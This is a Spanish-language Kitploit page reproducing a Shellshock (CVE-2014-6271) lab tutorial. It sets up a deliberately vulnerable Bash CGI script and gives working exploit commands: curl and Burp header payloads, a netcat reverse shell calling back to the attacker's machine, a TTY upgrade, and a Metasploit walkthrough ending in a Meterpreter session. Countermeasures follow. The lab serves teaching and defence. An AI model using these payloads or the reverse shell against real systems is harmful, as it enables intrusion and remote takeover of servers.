Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2014-6271-Shellshock- — Un laboratorio de demostración completo y moderno para CVE-2014-6271 (Shellshock), que incluye arquitectura, pasos de explotación, uso de Burp Suite, shells inversas, contramedidas y una hoja de referencia completa de comandos. | Kitploit
Herramientas/GitHubGitHub/drhaitham/cve-2014-6271-shellshock-
Análisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Aplicaciones WebCTFPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed Teaming
Desarrollo de Payloads
Labs y Práctica
GitHubdrhaitham/cve-2014-6271-shellshock-

CVE-2014-6271-Shellshock-

Un laboratorio de demostración completo y moderno para CVE-2014-6271 (Shellshock), que incluye arquitectura, pasos de explotación, uso de Burp Suite, shells inversas, contramedidas y una hoja de referencia completa de comandos.

Ver Repositorio
4hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Explotando Shellshock (CVE-2014-6271): Un Laboratorio de Demostración Moderno y Completo

Shellshock (CVE-2014-6271) es una de las vulnerabilidades de ejecución remota de código más influyentes jamás descubiertas. El fallo afecta a Bash y permite a atacantes ejecutar comandos arbitrarios simplemente inyectando cargas maliciosas en variables de entorno.

Esta guía proporciona una demostración completa y reproducible utilizando:

  • Kali Linux (atacante)
  • Metasploitable2 (objetivo)
  • curl, Burp Suite, Netcat
  • Un script CGI basado en Bash creado manualmente

Está diseñada para enseñanza, investigación, formación y concienciación general en ciberseguridad.


📌 Tabla de Contenidos

  1. Arquitectura del Laboratorio
  2. Creación del Script CGI Vulnerable
  3. Entendiendo la Vulnerabilidad Shellshock
  4. Explotando Shellshock con curl
  5. Explotando Shellshock con Burp Suite
  6. Reversa Shell mediante Shellshock
  7. Actualización a una TTY Totalmente Interactiva
  8. Diagrama de la Cadena de Ataque
  9. Galería de Capturas de Pantalla
  10. Contramedidas
  • Hoja de Referencia (Todos los Comandos)
  • Explotando Shellshock Usando Metasploit
  • Conclusión

  • 1. Arquitectura del Laboratorio

    ComponenteFunciónSistema OperativoDirección IPServicios Clave
    Kali LinuxAtacanteKali Linux (último)192.168.1.4curl, Burp Suite, Netcat
    Metasploitable2Servidor vulnerable objetivoUbuntu Linux (MSF2)192.168.1.5Apache 2.2, scripts CGI, Bash
    Apache mod_cgiEjecución de scriptsSe ejecuta en MSF2n/aExpone Bash a través de CGI
    shellshock.shPunto de entrada vulnerableBash CGIn/aMuestra variables de entorno

    Esta sencilla configuración de dos nodos refleja muchas implementaciones heredadas aún presentes en sistemas industriales y de IoT.


    2. Creación del Script CGI Vulnerable

    En Metasploitable2:

    root@kitploit:~
    sudo su
    cd /usr/lib/cgi-bin/
    
    cat << 'EOF' > shellshock.sh
    #!/bin/bash
    echo "Content-type: text/html"
    echo
    echo "<pre>"
    env
    echo "</pre>"
    EOF
    
    chmod +x shellshock.sh
    a2enmod cgi
    service apache2 restart
    

    Prueba el script desde Kali:

    root@kitploit:~
    curl http://192.168.1.5/cgi-bin/shellshock.sh
    

    Deberías ver las variables de entorno mostradas.


    3. Entendiendo la Vulnerabilidad Shellshock

    Shellshock ocurre cuando Bash analiza incorrectamente variables de entorno que se asemejan a definiciones de funciones.

    Una variable maliciosa como:

    root@kitploit:~
    () { :; }; /bin/bash -c "id"
    

    hará que Bash ejecute el comando después de la definición de la función — incluso aunque la función nunca sea invocada.

    Las aplicaciones CGI son especialmente vulnerables porque las cabeceras HTTP se pasan automáticamente a los scripts como variables de entorno.


    4. Explotando Shellshock con curl

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    La salida debería incluir:

    root@kitploit:~
    Vulnerable
    uid=33(www-data)
    

    Esto confirma ejecución remota de código.


    5. Explotando Shellshock con Burp Suite

    5.1 Enviar Solicitud Normal

    Visita:

    root@kitploit:~
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Envía la solicitud a Repeater.

    5.2 Inyectar Carga de Shellshock

    Reemplaza la cabecera User-Agent con:

    root@kitploit:~
    User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
    

    5.3 Respuesta

    Deberías ver:

    root@kitploit:~
    BurpTest
    uid=33(www-data)
    

    Burp Suite confirma la vulnerabilidad de manera visual y educativa.


    6. Reversa Shell mediante Shellshock

    Inicia el oyente en Kali:

    root@kitploit:~
    nc -lvnp 4444
    

    Desencadena la reversa shell a través del script CGI:

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Una shell se conectará de vuelta a Kali.


    7. Actualización a una TTY Totalmente Interactiva

    Dentro de la reversa shell:

    root@kitploit:~
    python -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

    Suspende la sesión:

    root@kitploit:~
    Ctrl + Z
    

    En Kali:

    root@kitploit:~
    stty raw -echo; fg
    

    Presiona Enter.

    Ahora tienes:

    • autocompletado con tabulador
    • teclas de flecha
    • control de trabajos
    • Bash interactivo completo

    8. Diagrama de la Cadena de Ataque

    root@kitploit:~
              ┌────────────────────────┐
              │   Atacante (Kali)      │
              │      192.168.1.4       │
              └───────────┬────────────┘
                          │
         1. Cabecera HTTP maliciosa (Shellshock)
                          │
                          ▼
            ┌──────────────────────────┐
            │ Servidor Web Apache (CGI)│
            │     192.168.1.5          │
            └───────────┬──────────────┘
                        │
       2. Cabecera → Variable de entorno CGI
                        │
                        ▼
          ┌──────────────────────────┐
          │   Bash (Vulnerable)      │
          └───────────┬──────────────┘
                      │
          3. Comando inyectado se ejecuta
                      │
                      ▼
            ┌─────────────────────────┐
            │  Acceso a shell www-data│
            └───────────┬─────────────┘
                        │
            4. Reversa Shell → Kali
                        │
                        ▼
          ┌──────────────────────────┐
          │ TTY interactiva completa │
          └──────────────────────────┘
    

    9. Galería de Capturas de Pantalla

    Un recorrido visual de las etapas clave del ataque.

    DescripciónImagen
    Escaneo Nmap + salida de prueba Shellshock
    Burp Suite – Solicitud inicial de Shellshock
    Burp Suite – Inyección de carga / cabecera
    Reversa shell recibida en Kali (nc)

    10. Contramedidas

    ✔ 1. Actualizar Bash

    Parchear a una versión que maneje correctamente el análisis de funciones.

    ✔ 2. Deshabilitar CGI

    El CGI heredado introduce un riesgo sistémico innecesario.

    ✔ 3. Sanitizar Cabeceras HTTP

    Descartar patrones sospechosos como:

    root@kitploit:~
    () { :; };
    

    ✔ 4. Usar Mínimo Privilegio

    Restringir permisos del usuario del servidor web (www-data).

    ✔ 5. Restricciones de Conexión Saliente

    Detiene reversas shells y la exfiltración de datos.

    ✔ 6. Implementar un Cortafuegos de Aplicaciones Web (WAF)

    Las firmas modernas de WAF detectan Shellshock de inmediato.

    ✔ 7. Habilitar SELinux / AppArmor

    Contiene los procesos de Bash y bloquea comportamientos no deseados.

    ✔ 8. Ejecutar Escaneos de Vulnerabilidades con Regularidad

    Usar herramientas como:

    • Nessus
    • OpenVAS
    • Nikto
    • Nmap NSE (http-shellshock.nse)

    11. Hoja de Referencia (Todos los Comandos)

    Configuración del Objetivo

    root@kitploit:~
    sudo su
    cd /usr/lib/cgi-bin/
    cat << 'EOF' > shellshock.sh
    #!/bin/bash
    echo "Content-type: text/html"
    echo
    echo "<pre>"
    env
    echo "</pre>"
    EOF
    chmod +x shellshock.sh
    a2enmod cgi
    service apache2 restart
    

    Probar CGI

    root@kitploit:~
    curl http://192.168.1.5/cgi-bin/shellshock.sh
    

    Prueba de Shellshock

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Reversa Shell

    root@kitploit:~
    nc -lvnp 4444
    
    root@kitploit:~
    curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Actualizar a TTY Completa

    Dentro de la shell:

    root@kitploit:~
    python -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

    Suspender:

    root@kitploit:~
    Ctrl + Z
    

    En Kali:

    root@kitploit:~
    stty raw -echo; fg
    

    Presiona Enter.


    12. Explotando Shellshock Usando Metasploit (msfconsole)

    Metasploit proporciona una forma profesional y automatizada de explotar Shellshock usando el módulo incorporado:

    root@kitploit:~
    exploit/multi/http/apache_mod_cgi_bash_env_exec
    

    Este método es rápido, fiable y ofrece ensamblaje automático de cargas (ej. Meterpreter).


    12.1 Iniciar Metasploit

    root@kitploit:~
    msfconsole
    

    12.2 Buscar Módulos de Shellshock

    root@kitploit:~
    search shellshock
    

    Deberías ver (entre otros):

    root@kitploit:~
    exploit/multi/http/apache_mod_cgi_bash_env_exec  Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
    auxiliary/scanner/http/apache_mod_cgi_bash_env   Apache mod_cgi Bash Environment Variable Injection (Scanner)
    

    12.3 Cargar el Módulo de Explotación

    root@kitploit:~
    use exploit/multi/http/apache_mod_cgi_bash_env_exec
    

    12.4 Configurar Opciones Requeridas

    Establecer IP del objetivo:

    root@kitploit:~
    set rhosts 192.168.1.5
    

    Establecer ruta CGI vulnerable:

    root@kitploit:~
    set targeturi /cgi-bin/shellshock.sh
    

    Establecer tu IP de Kali:

    root@kitploit:~
    set lhost 192.168.1.4
    

    Opcionalmente establecer puerto de escucha:

    root@kitploit:~
    set lport 4444
    

    Verificar:

    root@kitploit:~
    options
    

    Deberías ver:

    root@kitploit:~
    RHOSTS     192.168.1.5
    TARGETURI  /cgi-bin/shellshock.sh
    LHOST      192.168.1.4
    LPORT      4444
    METHOD     GET
    HEADER     User-Agent
    CVE        CVE-2014-6271
    

    12.5 Lanzar la Explotación

    root@kitploit:~
    run
    

    En caso de éxito:

    root@kitploit:~
    [*] Started reverse TCP handler on 192.168.1.4:4444
    [*] Command Stager progress - 100.00%
    [*] Sending stage ...
    [*] Meterpreter session 1 opened ...
    

    12.6 Interactuar con la Sesión de Meterpreter

    root@kitploit:~
    sessions -i 1
    

    Ahora tienes:

    root@kitploit:~
    meterpreter >
    

    12.7 Generar una Shell Normal

    root@kitploit:~
    shell
    

    Luego:

    root@kitploit:~
    id
    hostname
    

    Esperado:

    root@kitploit:~
    uid=33(www-data) gid=33(www-data)
    metasploitable
    

    Has obtenido ejecución remota de comandos usando Metasploit y Shellshock.


    13. Conclusión

    Esta demostración muestra cómo Shellshock puede ser explotado mediante manipulación simple de cabeceras HTTP, reversas shells, ejecución de scripts CGI y automatización con Metasploit. A pesar de tener más de una década, Shellshock sigue siendo una lección importante en:

    • prácticas de software seguro
    • sanitización de entrada
    • riesgos de sistemas heredados
    • técnicas de post-explotación

    Hecho con mucho amor por:
    Haitham de Omán ❤️🇴🇲

    Descargar herramienta